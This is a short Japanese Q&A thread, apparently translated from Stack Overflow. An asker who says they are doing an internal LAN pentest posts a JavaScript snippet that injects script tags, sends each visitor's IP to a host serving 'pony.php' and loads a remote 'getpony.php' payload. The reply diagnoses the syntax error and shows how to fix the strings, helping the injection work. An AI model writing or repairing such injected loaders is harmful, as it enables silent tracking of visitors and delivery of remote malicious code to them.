0

これを読んで助けてくれてありがとう。

私は内部 LAN テストを行おうとしていますが、コードが機能しない理由を説明する JavaScript にはあまり興味がありません。

誰が何が間違っているか知っていますか? 私のフォーマットはどこかにあると思います。

function pentest()
{ 
x = document.getElementById("pentestpayload");

if (x == null)
{
    document.write ( " <script>function getip(json) {
    document.write('<script type=\\\"application/javascript\\\"
    src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
    json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();

firebug は、javascript コンソールに次のエラーを表示します。

 SyntaxError: unterminated string literal

 document.write ( " <script>function getip(json) { document.write('<script typ

 test.js (line 7, col 17)`
4

1 に答える 1

0
document.write ( " <script>function getip(json) {

する必要があります

document.write ( " <script>function getip(json) { ");

document.write()クロージング"(文字列を終了する)と関数を終了する で関数を終了していない)ためです。

しかし、それも間違っています。最も可能性が高いのは、このようにフォーマットした複数行の文字列を作成する方法です

"myString \
that keeps on rocking"

しかし、あなたがやろうとしていることは本当に最適ではなく、全体的に避けるべきです.

于 2013-08-15T09:34:26.397 に答える